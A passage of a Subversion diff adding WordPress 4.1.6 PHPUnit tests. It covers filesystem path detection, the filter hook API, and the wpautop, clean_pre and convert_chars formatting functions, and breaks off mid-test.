+			/index.php
+		');
+
+		$path = $fs->abspath( '/var/www/example.com/wp.example.com/wordpress/' );
+		$this->assertEquals( '/wp.example.com/wordpress/', $path );
+		
+		$path = $fs->abspath( '/var/www/example.com/' );
+		$this->assertEquals( '/', $path );
+
+	}
+
+	/**
+	 * Test the WordPress ABSPATH containing TWO tokens (www) of which exists in the current FTP home.
+	 *
+	 * @ticket 20934
+	 */
+	function test_multiple_tokens_in_path1() {
+		global $wp_filesystem;
+		$fs = $wp_filesystem;
+		$fs->init('
+			# www.example.com
+			/example.com/www/index.php
+			/example.com/www/wp-includes/
+			/example.com/www/wp-content/plugins/
+			
+			# sub.example.com
+			/example.com/sub/index.php
+			/example.com/sub/wp-includes/
+			/example.com/sub/wp-content/plugins/
+		');
+
+		// www.example.com
+		$path = $fs->abspath( '/var/www/example.com/www/' );
+		$this->assertEquals( '/example.com/www/', $path );
+
+		// sub.example.com
+		$path = $fs->abspath( '/var/www/example.com/sub/' );
+		$this->assertEquals( '/example.com/sub/', $path );
+
+		// sub.example.com - Plugins
+		$path = $fs->find_folder( '/var/www/example.com/sub/wp-content/plugins/' );
+		$this->assertEquals( '/example.com/sub/wp-content/plugins/', $path );
+	}
+
+}
Index: /tags/4.1.6/tests/phpunit/tests/filters.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/filters.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/filters.php	(revision 33402)
@@ -0,0 +1,299 @@
+<?php
+
+/**
+ * Test apply_filters() and related functions
+ *
+ * @group hooks
+ */
+class Tests_Filters extends WP_UnitTestCase {
+
+	function test_simple_filter() {
+		$a = new MockAction();
+		$tag = rand_str();
+		$val = rand_str();
+
+		add_filter($tag, array($a, 'filter'));
+		$this->assertEquals($val, apply_filters($tag, $val));
+
+		// only one event occurred for the hook, with empty args
+		$this->assertEquals(1, $a->get_call_count());
+		// only our hook was called
+		$this->assertEquals(array($tag), $a->get_tags());
+
+		$argsvar = $a->get_args();
+		$args = array_pop( $argsvar );
+		$this->assertEquals(array($val), $args);
+	}
+
+	function test_remove_filter() {
+		$a = new MockAction();
+		$tag = rand_str();
+		$val = rand_str();
+
+		add_filter($tag, array($a, 'filter'));
+		$this->assertEquals($val, apply_filters($tag, $val));
+
+		// make sure our hook was called correctly
+		$this->assertEquals(1, $a->get_call_count());
+		$this->assertEquals(array($tag), $a->get_tags());
+
+		// now remove the filter, do it again, and make sure it's not called this time
+		remove_filter($tag, array($a, 'filter'));
+		$this->assertEquals($val, apply_filters($tag, $val));
+		$this->assertEquals(1, $a->get_call_count());
+		$this->assertEquals(array($tag), $a->get_tags());
+
+	}
+
+	function test_has_filter() {
+			$tag = rand_str();
+			$func = rand_str();
+
+			$this->assertFalse( has_filter($tag, $func) );
+			$this->assertFalse( has_filter($tag) );
+			add_filter($tag, $func);
+			$this->assertEquals( 10, has_filter($tag, $func) );
+			$this->assertTrue( has_filter($tag) );
+			remove_filter($tag, $func);
+			$this->assertFalse( has_filter($tag, $func) );
+			$this->assertFalse( has_filter($tag) );
+	}
+
+	// one tag with multiple filters
+	function test_multiple_filters() {
+		$a1 = new MockAction();
+		$a2 = new MockAction();
+		$tag = rand_str();
+		$val = rand_str();
+
+		// add both filters to the hook
+		add_filter($tag, array($a1, 'filter'));
+		add_filter($tag, array($a2, 'filter'));
+
+		$this->assertEquals($val, apply_filters($tag, $val));
+
+		// both filters called once each
+		$this->assertEquals(1, $a1->get_call_count());
+		$this->assertEquals(1, $a2->get_call_count());
+	}
+
+	function test_filter_args_1() {
+		$a = new MockAction();
+		$tag = rand_str();
+		$val = rand_str();
+		$arg1 = rand_str();
+
+		add_filter($tag, array($a, 'filter'), 10, 2);
+		// call the filter with a single argument
+		$this->assertEquals($val, apply_filters($tag, $val, $arg1));
+
+		$this->assertEquals(1, $a->get_call_count());
+		$argsvar = $a->get_args();
+		$this->assertEquals( array( $val, $arg1 ), array_pop( $argsvar ) );
+	}
+
+	function test_filter_args_2() {
+		$a1 = new MockAction();
+		$a2 = new MockAction();
+		$tag = rand_str();
+		$val = rand_str();
+		$arg1 = rand_str();
+		$arg2 = rand_str();
+
+		// a1 accepts two arguments, a2 doesn't
+		add_filter($tag, array($a1, 'filter'), 10, 3);
+		add_filter($tag, array($a2, 'filter'));
+		// call the filter with two arguments
+		$this->assertEquals($val, apply_filters($tag, $val, $arg1, $arg2));
+
+		// a1 should be called with both args
+		$this->assertEquals(1, $a1->get_call_count());
+		$argsvar1 = $a1->get_args();
+		$this->assertEquals( array( $val, $arg1, $arg2 ), array_pop( $argsvar1 ) );
+
+		// a2 should be called with one only
+		$this->assertEquals(1, $a2->get_call_count());
+		$argsvar2 = $a2->get_args();
+		$this->assertEquals( array( $val ), array_pop( $argsvar2 ) );
+	}
+
+	function test_filter_priority() {
+		$a = new MockAction();
+		$tag = rand_str();
+		$val = rand_str();
+
+		// make two filters with different priorities
+		add_filter($tag, array($a, 'filter'), 10);
+		add_filter($tag, array($a, 'filter2'), 9);
+		$this->assertEquals($val, apply_filters($tag, $val));
+
+		// there should be two events, one per filter
+		$this->assertEquals(2, $a->get_call_count());
+
+		$expected = array (
+			// filter2 is called first because it has priority 9
+			array (
+				'filter' => 'filter2',
+				'tag' => $tag,
+				'args' => array($val)
+			),
+			// filter 1 is called second
+			array (
+				'filter' => 'filter',
+				'tag' => $tag,
+				'args' => array($val)
+			),
+		);
+
+		$this->assertEquals($expected, $a->get_events());
+	}
+
+	function test_all_filter() {
+		$a = new MockAction();
+		$tag1 = rand_str();
+		$tag2 = rand_str();
+		$val = rand_str();
+
+		// add an 'all' filter
+		add_filter('all', array($a, 'filterall'));
+		// do some filters
+		$this->assertEquals($val, apply_filters($tag1, $val));
+		$this->assertEquals($val, apply_filters($tag2, $val));
+		$this->assertEquals($val, apply_filters($tag1, $val));
+		$this->assertEquals($val, apply_filters($tag1, $val));
+
+		// our filter should have been called once for each apply_filters call
+		$this->assertEquals(4, $a->get_call_count());
+		// the right hooks should have been called in order
+		$this->assertEquals(array($tag1, $tag2, $tag1, $tag1), $a->get_tags());
+
+		remove_filter('all', array($a, 'filterall'));
+		$this->assertFalse( has_filter('all', array($a, 'filterall')) );
+
+	}
+
+	function test_remove_all_filter() {
+		$a = new MockAction();
+		$tag = rand_str();
+		$val = rand_str();
+
+		add_filter('all', array($a, 'filterall'));
+		$this->assertTrue( has_filter('all') );
+		$this->assertEquals( 10, has_filter('all', array($a, 'filterall')) );
+		$this->assertEquals($val, apply_filters($tag, $val));
+
+		// make sure our hook was called correctly
+		$this->assertEquals(1, $a->get_call_count());
+		$this->assertEquals(array($tag), $a->get_tags());
+
+		// now remove the filter, do it again, and make sure it's not called this time
+		remove_filter('all', array($a, 'filterall'));
+		$this->assertFalse( has_filter('all', array($a, 'filterall')) );
+		$this->assertFalse( has_filter('all') );
+		$this->assertEquals($val, apply_filters($tag, $val));
+		// call cound should remain at 1
+		$this->assertEquals(1, $a->get_call_count());
+		$this->assertEquals(array($tag), $a->get_tags());
+	}
+
+	/**
+	 * @ticket 9886
+	 */
+	function test_filter_ref_array() {
+		$obj = new stdClass();
+		$a = new MockAction();
+		$tag = rand_str();
+
+		add_action($tag, array($a, 'filter'));
+
+		apply_filters_ref_array($tag, array(&$obj));
+
+		$args = $a->get_args();
+		$this->assertSame($args[0][0], $obj);
+		// just in case we don't trust assertSame
+		$obj->foo = true;
+		$this->assertFalse( empty($args[0][0]->foo) );
+	}
+
+	/**
+	 * @ticket 12723
+	 */
+	function test_filter_ref_array_result() {
+		$obj = new stdClass();
+		$a = new MockAction();
+		$b = new MockAction();
+		$tag = rand_str();
+
+		add_action($tag, array($a, 'filter_append'), 10, 2);
+		add_action($tag, array($b, 'filter_append'), 10, 2);
+
+		$result = apply_filters_ref_array($tag, array('string', &$obj));
+
+		$this->assertEquals($result, 'string_append_append');
+
+		$args = $a->get_args();
+		$this->assertSame($args[0][1], $obj);
+		// just in case we don't trust assertSame
+		$obj->foo = true;
+		$this->assertFalse( empty($args[0][1]->foo) );
+
+		$args = $b->get_args();
+		$this->assertSame($args[0][1], $obj);
+		// just in case we don't trust assertSame
+		$obj->foo = true;
+		$this->assertFalse( empty($args[0][1]->foo) );
+
+	}
+
+	function _self_removal($tag) {
+		remove_action( $tag, array($this, '_self_removal'), 10, 1 );
+		return $tag;
+	}
+
+	/**
+	 * @ticket 29070
+	 */
+	function test_has_filter_after_remove_all_filters() {
+		$a = new MockAction();
+		$tag = rand_str();
+		$val = rand_str();
+
+		// No priority
+		add_filter( $tag, array( $a, 'filter' ), 11 );
+		add_filter( $tag, array( $a, 'filter' ), 12 );
+		$this->assertTrue( has_filter( $tag ) );
+
+		remove_all_filters( $tag );
+		$this->assertFalse( has_filter( $tag ) );
+
+		// Remove priorities one at a time
+		add_filter( $tag, array( $a, 'filter' ), 11 );
+		add_filter( $tag, array( $a, 'filter' ), 12 );
+		$this->assertTrue( has_filter( $tag ) );
+
+		remove_all_filters( $tag, 11 );
+		remove_all_filters( $tag, 12 );
+		$this->assertFalse( has_filter( $tag ) );
+	}
+
+	/**
+	 * @ticket 29070
+	 */
+	 function test_has_filter_doesnt_reset_wp_filter() {
+	 	add_action( 'action_test_has_filter_doesnt_reset_wp_filter', '__return_null', 1 );
+	 	add_action( 'action_test_has_filter_doesnt_reset_wp_filter', '__return_null', 2 );
+	 	add_action( 'action_test_has_filter_doesnt_reset_wp_filter', '__return_null', 3 );
+	 	add_action( 'action_test_has_filter_doesnt_reset_wp_filter', array( $this, '_action_test_has_filter_doesnt_reset_wp_filter' ), 4 );
+
+	 	do_action( 'action_test_has_filter_doesnt_reset_wp_filter' );
+	 }
+	 function _action_test_has_filter_doesnt_reset_wp_filter() {
+	 	global $wp_filter;
+
+	 	has_action( 'action_test_has_filter_doesnt_reset_wp_filter', '_function_that_doesnt_exist' );
+
+		$filters = current( $wp_filter['action_test_has_filter_doesnt_reset_wp_filter'] );
+	 	$the_ = current( $filters );
+	 	$this->assertEquals( $the_['function'], array( $this, '_action_test_has_filter_doesnt_reset_wp_filter' ) );
+	 }
+}
Index: /tags/4.1.6/tests/phpunit/tests/formatting/Autop.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/formatting/Autop.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/formatting/Autop.php	(revision 33402)
@@ -0,0 +1,403 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_Autop extends WP_UnitTestCase {
+	//From ticket https://core.trac.wordpress.org/ticket/11008
+	function test_first_post() {
+		$expected = '<p>Welcome to WordPress!  This post contains important information.  After you read it, you can make it private to hide it from visitors but still have the information handy for future reference.</p>
+<p>First things first:</p>
+<ul>
+<li><a href="%1$s" title="Subscribe to the WordPress mailing list for Release Notifications">Subscribe to the WordPress mailing list for release notifications</a></li>
+</ul>
+<p>As a subscriber, you will receive an email every time an update is available (and only then).  This will make it easier to keep your site up to date, and secure from evildoers.<br />
+When a new version is released, <a href="%2$s" title="If you are already logged in, this will take you directly to the Dashboard">log in to the Dashboard</a> and follow the instructions.<br />
+Upgrading is a couple of clicks!</p>
+<p>Then you can start enjoying the WordPress experience:</p>
+<ul>
+<li>Edit your personal information at <a href="%3$s" title="Edit settings like your password, your display name and your contact information">Users &#8250; Your Profile</a></li>
+<li>Start publishing at <a href="%4$s" title="Create a new post">Posts &#8250; Add New</a> and at <a href="%5$s" title="Create a new page">Pages &#8250; Add New</a></li>
+<li>Browse and install plugins at <a href="%6$s" title="Browse and install plugins at the official WordPress repository directly from your Dashboard">Plugins &#8250; Add New</a></li>
+<li>Browse and install themes at <a href="%7$s" title="Browse and install themes at the official WordPress repository directly from your Dashboard">Appearance &#8250; Add New Themes</a></li>
+<li>Modify and prettify your website&#8217;s links at <a href="%8$s" title="For example, select a link structure like: http://example.com/1999/12/post-name">Settings &#8250; Permalinks</a></li>
+<li>Import content from another system or WordPress site at <a href="%9$s" title="WordPress comes with importers for the most common publishing systems">Tools &#8250; Import</a></li>
+<li>Find answers to your questions at the <a href="%10$s" title="The official WordPress documentation, maintained by the WordPress community">WordPress Codex</a></li>
+</ul>
+<p>To keep this post for reference, <a href="%11$s" title="Click to edit the content and settings of this post">click to edit it</a>, go to the Publish box and change its Visibility from Public to Private.</p>
+<p>Thank you for selecting WordPress.  We wish you happy publishing!</p>
+<p>PS.  Not yet subscribed for update notifications?  <a href="%1$s" title="Subscribe to the WordPress mailing list for Release Notifications">Do it now!</a></p>
+';
+		$test_data = '
+Welcome to WordPress!  This post contains important information.  After you read it, you can make it private to hide it from visitors but still have the information handy for future reference.
+
+First things first:
+<ul>
+<li><a href="%1$s" title="Subscribe to the WordPress mailing list for Release Notifications">Subscribe to the WordPress mailing list for release notifications</a></li>
+</ul>
+As a subscriber, you will receive an email every time an update is available (and only then).  This will make it easier to keep your site up to date, and secure from evildoers.
+When a new version is released, <a href="%2$s" title="If you are already logged in, this will take you directly to the Dashboard">log in to the Dashboard</a> and follow the instructions.
+Upgrading is a couple of clicks!
+
+Then you can start enjoying the WordPress experience:
+<ul>
+<li>Edit your personal information at <a href="%3$s" title="Edit settings like your password, your display name and your contact information">Users &#8250; Your Profile</a></li>
+<li>Start publishing at <a href="%4$s" title="Create a new post">Posts &#8250; Add New</a> and at <a href="%5$s" title="Create a new page">Pages &#8250; Add New</a></li>
+<li>Browse and install plugins at <a href="%6$s" title="Browse and install plugins at the official WordPress repository directly from your Dashboard">Plugins &#8250; Add New</a></li>
+<li>Browse and install themes at <a href="%7$s" title="Browse and install themes at the official WordPress repository directly from your Dashboard">Appearance &#8250; Add New Themes</a></li>
+<li>Modify and prettify your website&#8217;s links at <a href="%8$s" title="For example, select a link structure like: http://example.com/1999/12/post-name">Settings &#8250; Permalinks</a></li>
+<li>Import content from another system or WordPress site at <a href="%9$s" title="WordPress comes with importers for the most common publishing systems">Tools &#8250; Import</a></li>
+<li>Find answers to your questions at the <a href="%10$s" title="The official WordPress documentation, maintained by the WordPress community">WordPress Codex</a></li>
+</ul>
+To keep this post for reference, <a href="%11$s" title="Click to edit the content and settings of this post">click to edit it</a>, go to the Publish box and change its Visibility from Public to Private.
+
+Thank you for selecting WordPress.  We wish you happy publishing!
+
+PS.  Not yet subscribed for update notifications?  <a href="%1$s" title="Subscribe to the WordPress mailing list for Release Notifications">Do it now!</a>
+';
+
+		// On windows environments, the EOL-style is \r\n
+		$expected = str_replace( "\r\n", "\n", $expected);
+
+		$this->assertEquals($expected, wpautop($test_data));
+	}
+
+	/**
+	 * wpautop() Should not alter the contents of "<pre>" elements
+	 *
+	 * @ticket 19855
+	 */
+	public function test_skip_pre_elements() {
+		$code = file_get_contents( DIR_TESTDATA . '/formatting/sizzle.js' );
+		$code = str_replace( "\r", '', $code );
+		$code = htmlentities( $code );
+
+		// Not wrapped in <p> tags
+		$str = "<pre>$code</pre>";
+		$this->assertEquals( $str, trim( wpautop( $str ) ) );
+
+		// Text before/after is wrapped in <p> tags
+		$str = "Look at this code\n\n<pre>$code</pre>\n\nIsn't that cool?";
+
+		// Expected text after wpautop
+		$expected = '<p>Look at this code</p>' . "\n<pre>" . $code . "</pre>\n" . '<p>Isn\'t that cool?</p>';
+		$this->assertEquals( $expected, trim( wpautop( $str ) ) );
+
+		// Make sure HTML breaks are maintained if manually inserted
+		$str = "Look at this code\n\n<pre>Line1<br />Line2<br>Line3<br/>Line4\nActual Line 2\nActual Line 3</pre>\n\nCool, huh?";
+		$expected = "<p>Look at this code</p>\n<pre>Line1<br />Line2<br>Line3<br/>Line4\nActual Line 2\nActual Line 3</pre>\n<p>Cool, huh?</p>";
+		$this->assertEquals( $expected, trim( wpautop( $str ) ) );
+	}
+
+	/**
+	 * wpautop() Should not add <br/> to "<input>" elements
+	 *
+	 * @ticket 16456
+	 */
+	public function test_skip_input_elements() {
+		$str = 'Username: <input type="text" id="username" name="username" /><br />Password: <input type="password" id="password1" name="password1" />';
+		$this->assertEquals( "<p>$str</p>", trim( wpautop( $str ) ) );
+	}
+
+	/**
+	 * wpautop() Should not add <p> and <br/> around <source> and <track>
+	 *
+	 * @ticket 26864
+	 */
+	public function test_source_track_elements() {
+		$content = "Paragraph one.\n\n" .
+			'<video class="wp-video-shortcode" id="video-0-1" width="640" height="360" preload="metadata" controls="controls">
+				<source type="video/mp4" src="http://domain.tld/wp-content/uploads/2013/12/xyz.mp4" />
+				<!-- WebM/VP8 for Firefox4, Opera, and Chrome -->
+				<source type="video/webm" src="myvideo.webm" />
+				<!-- Ogg/Vorbis for older Firefox and Opera versions -->
+				<source type="video/ogg" src="myvideo.ogv" />
+				<!-- Optional: Add subtitles for each language -->
+				<track kind="subtitles" src="subtitles.srt" srclang="en" />
+				<!-- Optional: Add chapters -->
+				<track kind="chapters" src="chapters.srt" srclang="en" />
+				<a href="http://domain.tld/wp-content/uploads/2013/12/xyz.mp4">http://domain.tld/wp-content/uploads/2013/12/xyz.mp4</a>
+			</video>' .
+			"\n\nParagraph two.";
+
+		$content2 = "Paragraph one.\n\n" .
+			'<video class="wp-video-shortcode" id="video-0-1" width="640" height="360" preload="metadata" controls="controls">
+
+			<source type="video/mp4" src="http://domain.tld/wp-content/uploads/2013/12/xyz.mp4" />
+
+			<!-- WebM/VP8 for Firefox4, Opera, and Chrome -->
+			<source type="video/webm" src="myvideo.webm" />
+
+			<!-- Ogg/Vorbis for older Firefox and Opera versions -->
+			<source type="video/ogg" src="myvideo.ogv" />
+
+			<!-- Optional: Add subtitles for each language -->
+			<track kind="subtitles" src="subtitles.srt" srclang="en" />
+
+			<!-- Optional: Add chapters -->
+			<track kind="chapters" src="chapters.srt" srclang="en" />
+
+			<a href="http://domain.tld/wp-content/uploads/2013/12/xyz.mp4">http://domain.tld/wp-content/uploads/2013/12/xyz.mp4</a>
+
+			</video>' .
+			"\n\nParagraph two.";
+
+		$expected = "<p>Paragraph one.</p>\n" . // line breaks only after <p>
+			'<p><video class="wp-video-shortcode" id="video-0-1" width="640" height="360" preload="metadata" controls="controls">' .
+			'<source type="video/mp4" src="http://domain.tld/wp-content/uploads/2013/12/xyz.mp4" />' .
+			'<!-- WebM/VP8 for Firefox4, Opera, and Chrome -->' .
+			'<source type="video/webm" src="myvideo.webm" />' .
+			'<!-- Ogg/Vorbis for older Firefox and Opera versions -->' .
+			'<source type="video/ogg" src="myvideo.ogv" />' .
+			'<!-- Optional: Add subtitles for each language -->' .
+			'<track kind="subtitles" src="subtitles.srt" srclang="en" />' .
+			'<!-- Optional: Add chapters -->' .
+			'<track kind="chapters" src="chapters.srt" srclang="en" />' .
+			'<a href="http://domain.tld/wp-content/uploads/2013/12/xyz.mp4">' .
+			"http://domain.tld/wp-content/uploads/2013/12/xyz.mp4</a></video></p>\n" .
+			'<p>Paragraph two.</p>';
+
+		// When running the content through wpautop() from wp_richedit_pre()
+		$shortcode_content = "Paragraph one.\n\n" .
+			'[video width="720" height="480" mp4="http://domain.tld/wp-content/uploads/2013/12/xyz.mp4"]
+			<!-- WebM/VP8 for Firefox4, Opera, and Chrome -->
+			<source type="video/webm" src="myvideo.webm" />
+			<!-- Ogg/Vorbis for older Firefox and Opera versions -->
+			<source type="video/ogg" src="myvideo.ogv" />
+			<!-- Optional: Add subtitles for each language -->
+			<track kind="subtitles" src="subtitles.srt" srclang="en" />
+			<!-- Optional: Add chapters -->
+			<track kind="chapters" src="chapters.srt" srclang="en" />
+			[/video]' .
+			"\n\nParagraph two.";
+
+		$shortcode_expected = "<p>Paragraph one.</p>\n" . // line breaks only after <p>
+			'<p>[video width="720" height="480" mp4="http://domain.tld/wp-content/uploads/2013/12/xyz.mp4"]' .
+			'<!-- WebM/VP8 for Firefox4, Opera, and Chrome --><source type="video/webm" src="myvideo.webm" />' .
+			'<!-- Ogg/Vorbis for older Firefox and Opera versions --><source type="video/ogg" src="myvideo.ogv" />' .
+			'<!-- Optional: Add subtitles for each language --><track kind="subtitles" src="subtitles.srt" srclang="en" />' .
+			'<!-- Optional: Add chapters --><track kind="chapters" src="chapters.srt" srclang="en" />' .
+			"[/video]</p>\n" .
+			'<p>Paragraph two.</p>';
+
+		$this->assertEquals( $expected, trim( wpautop( $content ) ) );
+		$this->assertEquals( $expected, trim( wpautop( $content2 ) ) );
+		$this->assertEquals( $shortcode_expected, trim( wpautop( $shortcode_content ) ) );
+	}
+
+	/**
+	 * wpautop() Should not add <p> and <br/> around <param> and <embed>
+	 *
+	 * @ticket 26864
+	 */
+	public function test_param_embed_elements() {
+		$content1 = '
+Paragraph one.
+
+<object width="400" height="224" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0">
+	<param name="src" value="http://domain.tld/wp-content/uploads/2013/12/xyz.swf" />
+	<param name="allowfullscreen" value="true" />
+	<param name="allowscriptaccess" value="always" />
+	<param name="overstretch" value="true" />
+	<param name="flashvars" value="isDynamicSeeking=true" />
+
+	<embed width="400" height="224" type="application/x-shockwave-flash" src="http://domain.tld/wp-content/uploads/2013/12/xyz.swf" wmode="direct" seamlesstabbing="true" allowfullscreen="true" overstretch="true" flashvars="isDynamicSeeking=true" />
+</object>
+
+Paragraph two.';
+
+		$expected1 = "<p>Paragraph one.</p>\n" . // line breaks only after <p>
+			'<p><object width="400" height="224" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0">' .
+			'<param name="src" value="http://domain.tld/wp-content/uploads/2013/12/xyz.swf" />' .
+			'<param name="allowfullscreen" value="true" />' .
+			'<param name="allowscriptaccess" value="always" />' .
+			'<param name="overstretch" value="true" />' .
+			'<param name="flashvars" value="isDynamicSeeking=true" />' .
+			'<embed width="400" height="224" type="application/x-shockwave-flash" src="http://domain.tld/wp-content/uploads/2013/12/xyz.swf" wmode="direct" seamlesstabbing="true" allowfullscreen="true" overstretch="true" flashvars="isDynamicSeeking=true" />' .
+			"</object></p>\n" .
+			'<p>Paragraph two.</p>';
+
+		$content2 = '
+Paragraph one.
+
+<div class="video-player" id="x-video-0">
+<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="640" height="360" id="video-0" standby="Standby text">
+  <param name="movie" value="http://domain.tld/wp-content/uploads/2013/12/xyz.swf" />
+  <param name="quality" value="best" />
+
+  <param name="seamlesstabbing" value="true" />
+  <param name="allowfullscreen" value="true" />
+  <param name="allowscriptaccess" value="always" />
+  <param name="overstretch" value="true" />
+
+  <!--[if !IE]--><object type="application/x-shockwave-flash" data="http://domain.tld/wp-content/uploads/2013/12/xyz.swf" width="640" height="360" standby="Standby text">
+    <param name="quality" value="best" />
+
+    <param name="seamlesstabbing" value="true" />
+    <param name="allowfullscreen" value="true" />
+    <param name="allowscriptaccess" value="always" />
+    <param name="overstretch" value="true" />
+  </object><!--<![endif]-->
+</object></div>
+
+Paragraph two.';
+
+		$expected2 = "<p>Paragraph one.</p>\n" . // line breaks only after block tags
+			'<div class="video-player" id="x-video-0">' . "\n" .
+			'<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="640" height="360" id="video-0" standby="Standby text">' .
+			'<param name="movie" value="http://domain.tld/wp-content/uploads/2013/12/xyz.swf" />' .
+			'<param name="quality" value="best" />' .
+			'<param name="seamlesstabbing" value="true" />' .
+			'<param name="allowfullscreen" value="true" />' .
+			'<param name="allowscriptaccess" value="always" />' .
+			'<param name="overstretch" value="true" />' .
+			'<!--[if !IE]--><object type="application/x-shockwave-flash" data="http://domain.tld/wp-content/uploads/2013/12/xyz.swf" width="640" height="360" standby="Standby text">' .
+			'<param name="quality" value="best" />' .
+			'<param name="seamlesstabbing" value="true" />' .
+			'<param name="allowfullscreen" value="true" />' .
+			'<param name="allowscriptaccess" value="always" />' .
+			'<param name="overstretch" value="true" /></object><!--<![endif]-->' .
+			"</object></div>\n" .
+			'<p>Paragraph two.</p>';
+
+		$this->assertEquals( $expected1, trim( wpautop( $content1 ) ) );
+		$this->assertEquals( $expected2, trim( wpautop( $content2 ) ) );
+	}
+
+	/**
+	 * wpautop() Should not add <br/> to "<select>" or "<option>" elements
+	 *
+	 * @ticket 22230
+	 */
+	public function test_skip_select_option_elements() {
+		$str = 'Country: <select id="state" name="state"><option value="1">Alabama</option><option value="2">Alaska</option><option value="3">Arizona</option><option value="4">Arkansas</option><option value="5">California</option></select>';
+		$this->assertEquals( "<p>$str</p>", trim( wpautop( $str ) ) );
+	}
+
+	/**
+	 * wpautop() should treat block level HTML elements as blocks.
+	 *
+	 * @ticket 27268
+	 */
+	function test_that_wpautop_treats_block_level_elements_as_blocks() {
+		$blocks = array(
+			'table',
+			'thead',
+			'tfoot',
+			'caption',
+			'col',
+			'colgroup',
+			'tbody',
+			'tr',
+			'td',
+			'th',
+			'div',
+			'dl',
+			'dd',
+			'dt',
+			'ul',
+			'ol',
+			'li',
+			'pre',
+			'form',
+			'map',
+			'area',
+			'address',
+			'math',
+			'style',
+			'p',
+			'h1',
+			'h2',
+			'h3',
+			'h4',
+			'h5',
+			'h6',
+			'hr',
+			'fieldset',
+			'legend',
+			'section',
+			'article',
+			'aside',
+			'hgroup',
+			'header',
+			'footer',
+			'nav',
+			'figure',
+			'details',
+			'menu',
+			'summary',
+		);
+
+		$content = array();
+
+		foreach ( $blocks as $block ) {
+			$content[] = "<$block>foo</$block>";
+		}
+
+		$expected = join( "\n", $content );
+		$content = join( "\n\n", $content ); // WS difference
+
+		$this->assertEquals( $expected, trim( wpautop( $content ) ) );
+	}
+
+	/**
+	 * wpautop() should autop a blockquote's contents but not the blockquote itself
+	 *
+	 * @ticket 27268
+	 */
+	function test_that_wpautop_does_not_wrap_blockquotes_but_does_autop_their_contents() {
+		$content  = "<blockquote>foo</blockquote>";
+		$expected = "<blockquote><p>foo</p></blockquote>";
+
+		$this->assertEquals( $expected, trim( wpautop( $content ) ) );
+	}
+
+	/**
+	 * wpautop() should treat inline HTML elements as inline.
+	 *
+	 * @ticket 27268
+	 */
+	function test_that_wpautop_treats_inline_elements_as_inline() {
+		$inlines = array(
+			'a',
+			'em',
+			'strong',
+			'small',
+			's',
+			'cite',
+			'q',
+			'dfn',
+			'abbr',
+			'data',
+			'time',
+			'code',
+			'var',
+			'samp',
+			'kbd',
+			'sub',
+			'sup',
+			'i',
+			'b',
+			'u',
+			'mark',
+			'span',
+			'del',
+			'ins',
+			'noscript',
+			'figcaption',
+			'select',
+		);
+
+		$content = $expected = array();
+
+		foreach ( $inlines as $inline ) {
+			$content[] = "<$inline>foo</$inline>";
+			$expected[] = "<p><$inline>foo</$inline></p>";
+		}
+
+		$content = join( "\n\n", $content );
+		$expected = join( "\n", $expected );
+
+		$this->assertEquals( $expected, trim( wpautop( $content ) ) );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/formatting/CleanPre.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/formatting/CleanPre.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/formatting/CleanPre.php	(revision 33402)
@@ -0,0 +1,40 @@
+<?php
+
+/**
+ * The clean_pre() removes pararaph and line break
+ * tags within `<pre>` elements as part of wpautop().
+ *
+ * @group formatting
+ * @expectedDeprecated clean_pre
+ */
+class Tests_Formatting_CleanPre extends WP_UnitTestCase {
+
+	function test_removes_self_closing_br_with_space() {
+		$source = 'a b c\n<br />sldfj<br />';
+		$res = 'a b c\nsldfj';
+
+		$this->assertEquals($res, clean_pre($source));
+	}
+
+	function test_removes_self_closing_br_without_space() {
+		$source = 'a b c\n<br/>sldfj<br/>';
+		$res = 'a b c\nsldfj';
+		$this->assertEquals($res, clean_pre($source));
+	}
+
+	// I don't think this can ever happen in production;
+	// <br> is changed to <br /> elsewhere. Left in because
+	// that replacement shouldn't happen (what if you want
+	// HTML 4 output?).
+	function test_removes_html_br() {
+		$source = 'a b c\n<br>sldfj<br>';
+		$res = 'a b c\nsldfj';
+		$this->assertEquals($res, clean_pre($source));
+	}
+
+	function test_removes_p() {
+		$source = "<p>isn't this exciting!</p><p>oh indeed!</p>";
+		$res = "\nisn't this exciting!\noh indeed!";
+		$this->assertEquals($res, clean_pre($source));
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/formatting/ConvertChars.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/formatting/ConvertChars.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/formatting/ConvertChars.php	(revision 33402)
@@ -0,0 +1,40 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_ConvertChars extends WP_UnitTestCase {
+	function test_replaces_windows1252_entities_with_unicode_ones() {
+		$input = "&#130;&#131;&#132;&#133;&#134;&#135;&#136;&#137;&#138;&#139;&#140;&#145;&#146;&#147;&#148;&#149;&#150;&#151;&#152;&#153;&#154;&#155;&#156;&#159;";
+		$output = "&#8218;&#402;&#8222;&#8230;&#8224;&#8225;&#710;&#8240;&#352;&#8249;&#338;&#8216;&#8217;&#8220;&#8221;&#8226;&#8211;&#8212;&#732;&#8482;&#353;&#8250;&#339;&#376;";
+		$this->assertEquals($output, convert_chars($input));
+	}
+
+	/**
+	 * @ticket 20503
+	 */
+	function test_replaces_latin_letter_z_with_caron() {
+		$input = "&#142;&#158;";
+		$output = "&#381;&#382;";
+		$this->assertEquals( $output, convert_chars( $input ) );
+	}
+
+	function test_converts_html_br_and_hr_to_the_xhtml_self_closing_variety() {
+		$inputs = array(
+			"abc <br> lol <br />" => "abc <br /> lol <br />",
+			"<br> ho ho <hr>"     => "<br /> ho ho <hr />",
+			"<hr><br>"            => "<hr /><br />"
+			);
+		foreach ($inputs as $input => $expected) {
+			$this->assertEquals($expected, convert_chars($input));
+		}
